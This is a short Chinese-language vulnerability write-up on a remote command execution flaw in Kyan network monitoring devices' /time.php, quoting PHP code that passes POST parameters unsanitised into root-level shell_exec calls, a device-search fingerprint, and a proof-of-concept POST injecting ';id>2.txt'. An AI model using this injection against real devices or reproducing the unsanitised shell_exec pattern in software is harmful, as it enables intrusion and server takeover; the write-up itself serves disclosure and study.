# Kyan 网络监控设备 time.php 远程命令执行漏洞 ## 漏洞描述 Kyan 网络监控设备 time.php 可在身份验证的情况下执行任意命令, 配合账号密码泄露漏洞，可以获取服务器权限，存在远程命令执行漏洞 ## 漏洞影响 ``` Kyan ``` ## 网络测绘 ``` app="Kyan设计" ``` ## 漏洞复现 登录页面如下 ![image-20220519175106605](images/202205191753857.png) 存在漏洞的文件: `/time.php` ``` \n"; echo " \n"; echo " \n"; echo " \n"; echo " \n"; echo " \n"; echo " time\n"; echo ""; echo " \n"; //print_html_begin("time"); ?>
> :
``` 其中需要注意的地方 ``` if($_SERVER['REQUEST_METHOD'] == 'POST') { if(!user_is_admin()) { showErrMessage("permission denied"); exit; } $timesynctype = $_POST["timesynctype"]; if($timesynctype!="client") { $output = shell_exec("/bin/bashsuid -p -c \"/usr/sbin/ntpdate " .$timesynctype. "\""); showMessage($output); shell_exec("/bin/bashsuid -p -c \"hwclock --systohc\""); }else { $ctime = $_POST["ctime"]; shell_exec("/bin/bashsuid -p -c \"date " .$ctime. "\""); shell_exec("/bin/bashsuid -p -c \"hwclock --systohc\""); } } ``` 参数均可控，构造POC ``` POST /time.php timesynctype=;id>2.txt ``` ![image-20220519175346874](images/202205191753984.png)